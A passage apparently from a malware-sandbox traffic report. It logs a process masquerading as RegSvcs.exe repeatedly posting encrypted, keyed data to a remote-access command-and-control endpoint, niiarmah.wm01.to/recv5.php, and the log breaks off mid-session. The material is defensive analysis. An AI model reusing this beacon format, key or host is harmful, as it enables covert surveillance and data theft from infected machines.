2021-12-06 11:18:35 UTC	1	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:35 UTC	1	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 58 71 35 63 53 6a 76 79 69 5a 33 69 75 4d 43 72 2b 4d 77 36 59 41 4d 69 72 71 71 75 37 69 51 4c 68 47 55 68 62 41 77 4f 33 32 62 67 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4Xq5cSjvyiZ3iuMCr+Mw6YAMirqqu7iQLhGUhbAwO32bg==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:18:35 UTC	1	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 108 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding
2021-12-06 11:18:35 UTC	2	IN	Data Raw: 6d 56 75 45 4b 35 4a 61 5a 69 39 58 45 41 56 30 30 6b 62 4f 39 6c 2f 5a 63 66 50 36 65 53 47 5a 67 65 71 37 6e 31 56 69 47 6c 4e 51 46 4f 54 45 53 67 67 57 6c 6d 68 4b 6f 32 45 70 44 45 74 70 73 4f 6b 32 6a 43 44 46 55 61 6e 47 4e 58 4a 75 74 6b 51 43 58 74 72 30 41 71 4b 68 38 50 32 71 6c 46 51 6c 42 59 77 75 58 4a 55 3d Data Ascii: mVuEK5JaZi9XEAV00kbO9l/ZcfP6eSGZgeq7n1ViGlNQFOTESggWlmhKo2EpDEtpsOk2jCDFUanGNXJutkQCXtr0AqKh8P2qlFQlBYwuXJU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49831	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:16 UTC	14	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:16 UTC	14	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 39 4a 35 76 59 4f 31 63 75 36 2b 32 48 32 65 32 31 41 4a 4b 2b 44 41 77 46 30 6a 5a 38 4c 52 44 6e 2b 32 58 72 49 39 4c 6c 32 41 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4V9J5vYO1cu6+2H2e21AJK+DAwF0jZ8LRDn+2XrI9Ll2A==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:17 UTC	14	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:17 UTC	15	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49832	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:19 UTC	15	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:19 UTC	15	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 72 54 46 42 79 39 4b 4e 76 53 53 39 4f 39 43 4d 64 54 73 54 64 6f 38 73 7a 42 51 4f 6b 41 65 4e 32 57 41 2f 4c 43 73 54 48 75 77 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4VrTFBy9KNvSS9O9CMdTsTdo8szBQOkAeN2WA/LCsTHuw==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:19 UTC	15	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:19 UTC	15	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49833	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:21 UTC	15	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:21 UTC	15	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 58 4e 61 76 42 59 66 77 49 4c 6f 45 39 61 73 37 6d 78 53 64 4b 50 64 71 46 6d 6b 6c 30 5a 77 53 6c 4d 42 4f 77 42 62 39 2b 4f 58 41 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4XNavBYfwILoE9as7mxSdKPdqFmkl0ZwSlMBOwBb9+OXA==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:22 UTC	16	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:22 UTC	16	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49839	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:24 UTC	16	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 199 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:24 UTC	16	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 57 66 31 6f 49 49 57 6a 37 69 69 50 68 46 67 4b 74 6a 36 34 70 53 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4Wf1oIIWj7iiPhFgKtj64pS&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:24 UTC	16	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:24 UTC	17	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49840	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:26 UTC	17	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:26 UTC	17	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 58 74 51 6b 45 61 4d 2f 61 48 4a 75 31 39 43 41 44 6f 46 66 74 4b 47 49 42 47 39 59 4e 30 59 54 74 44 32 2f 79 36 47 58 34 31 6d 67 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4XtQkEaM/aHJu19CADoFftKGIBG9YN0YTtD2/y6GX41mg==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:27 UTC	17	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:27 UTC	17	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49841	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:29 UTC	17	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:29 UTC	18	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 55 71 36 37 71 46 68 69 44 72 4c 50 4d 2b 44 51 31 53 6c 58 72 30 36 65 52 33 2f 55 4a 57 63 42 74 30 39 79 52 50 61 78 79 6c 55 51 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4Uq67qFhiDrLPM+DQ1SlXr06eR3/UJWcBt09yRPaxylUQ==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:29 UTC	18	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:29 UTC	18	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49843	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:31 UTC	18	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:31 UTC	18	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 48 73 57 4b 4c 52 50 57 53 52 73 4d 7a 7a 52 32 30 69 63 45 41 57 6c 31 77 6c 4a 4a 34 55 50 38 78 73 71 58 6d 66 43 35 48 2b 77 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4VHsWKLRPWSRsMzzR20icEAWl1wlJJ4UP8xsqXmfC5H+w==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:32 UTC	19	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:32 UTC	19	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49844	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:34 UTC	19	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 199 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:34 UTC	19	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 6c 55 79 44 41 6f 55 77 4e 61 5a 61 6e 48 43 36 67 54 77 71 46 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4VlUyDAoUwNaZanHC6gTwqF&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:34 UTC	19	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:34 UTC	20	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49850	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:37 UTC	20	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:37 UTC	20	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 48 73 57 4b 4c 52 50 57 53 52 73 4d 7a 7a 52 32 30 69 63 45 41 36 70 4a 6c 58 48 6a 74 55 6f 59 64 44 46 35 48 57 43 47 61 32 67 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4VHsWKLRPWSRsMzzR20icEA6pJlXHjtUoYdDF5HWCGa2g==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:37 UTC	20	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:37 UTC	20	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49863	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:39 UTC	20	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:39 UTC	20	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 55 56 48 45 32 41 62 65 42 4a 6f 35 74 61 43 35 63 78 73 66 6d 68 78 37 7a 71 41 4c 69 49 55 73 73 35 6c 45 6c 7a 4f 76 57 5a 71 51 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4UVHE2AbeBJo5taC5cxsfmhx7zqALiIUss5lElzOvWZqQ==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:40 UTC	21	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:40 UTC	21	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49777	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:35 UTC	2	OUT	POST /recv5.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 161 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:35 UTC	2	OUT	Data Raw: 6d 6f 64 65 3d 63 32 56 75 5a 46 39 68 63 48 42 66 62 57 46 34 58 32 5a 70 62 47 56 66 63 32 6c 36 5a 51 3d 3d 26 74 5f 69 64 3d 4f 54 55 79 4f 54 63 3d 26 64 61 74 61 3d 4d 51 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 30 Data Ascii: mode=c2VuZF9hcHBfbWF4X2ZpbGVfc2l6ZQ==&t_id=OTUyOTc=&data=MQ==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=0
2021-12-06 11:18:36 UTC	3	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:36 UTC	3	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49869	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:42 UTC	21	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
